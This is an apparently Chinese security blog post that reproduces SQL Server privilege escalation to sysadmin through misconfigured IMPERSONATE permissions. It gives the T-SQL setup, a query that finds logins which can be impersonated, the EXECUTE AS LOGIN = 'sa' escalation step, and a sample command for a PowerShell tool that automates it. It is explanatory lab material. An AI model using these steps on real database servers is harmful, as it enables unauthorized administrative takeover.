0x01 前提
开发者有时为了满足某种需求,允许其他登录用户模拟高权限的用户,对于开发来说,一个再简单不过的功能。虽然严格意义上这不算个漏洞,但是这种配置不当一般可以用来提权。
0x02 复现
1.sa用户登录创建4个用户
-- Create login 1
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
-- Create login 2
CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
-- Create login 3
CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
-- Create login 4
CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
2.赋予用户MyUser1权限来模拟 MyUser2, MyUser3,及sa
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO
这里的GRANT IMPERSONATE ON LOGIN意思是授权MyUser1用户对sa,MyUser2,MyUser3用户登录权限,
查看sqlserver的文档
https://docs.microsoft.com/zh-cn/sql/t-sql/statements/grant-server-principal-permissions-transact-sql?view=sql-server-ver15
在SQL Server的安全模型中,模拟(IMPERSONATE )权限的安全对象是User或Login,被授予者(Grantee )有权限模拟指定用户,在其安全上下文执行特定的操作。
例如,user1授予模拟user2的权限,当user2的安全上下文有足够的权限,而user1没有时,通过权限模拟,user1能够在user2的权限上下文中执行查询请求:
GRANT IMPERSONATE ON USER:: user2 TO user1;
通过执行EXECUTE AS 命令模拟用户的权限,用户user1就运行在user2的安全上下文中,例如,user1在登陆数据库之后,模拟user2的权限:
EXECUTE AS USER = 'user2';
3.查找可以模拟登录的用户
默认情况下,系统管理员可以模拟任何人,但是正常登录必须分配权限来模拟特定的用户,使用MyUser1用户登录,打开新建查询,执行下面语句查询那些用户可以用来模拟登录
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
这里我们可以看到MyUser1用户可以模拟登录sa,MyUser2,MyUser2用户,接下来就是模拟登录sa来获取sysadmin权限了
4.模拟SQL Server用户登陆
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 模拟sa登录
EXECUTE AS LOGIN = 'sa'
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
可以看到,第二个查询之后我们已经是sysadmin的权限了
我们再用查看登录用户来验证下
SELECT * FROM master.sys.sysusers
WHERE islogin = 1
模拟sa登录之前
模拟sa登录之后
权限高了,可以看到更多的用户登录
5.回到原来的登录
REVERT
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
这样我们又回到myuser1用户登录的会话了
0x03 工具化
当然这个也可以用powershell一键实现
https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlUser MyUser1 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA
总的来说,利用这个来提权也不算是漏洞,毕竟可能是运维人员想要的正常功能,然后被攻击者利用,达到提权sysadmin的目的。
参考:
https://www.cnblogs.com/ljhdo/p/5610552.html
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/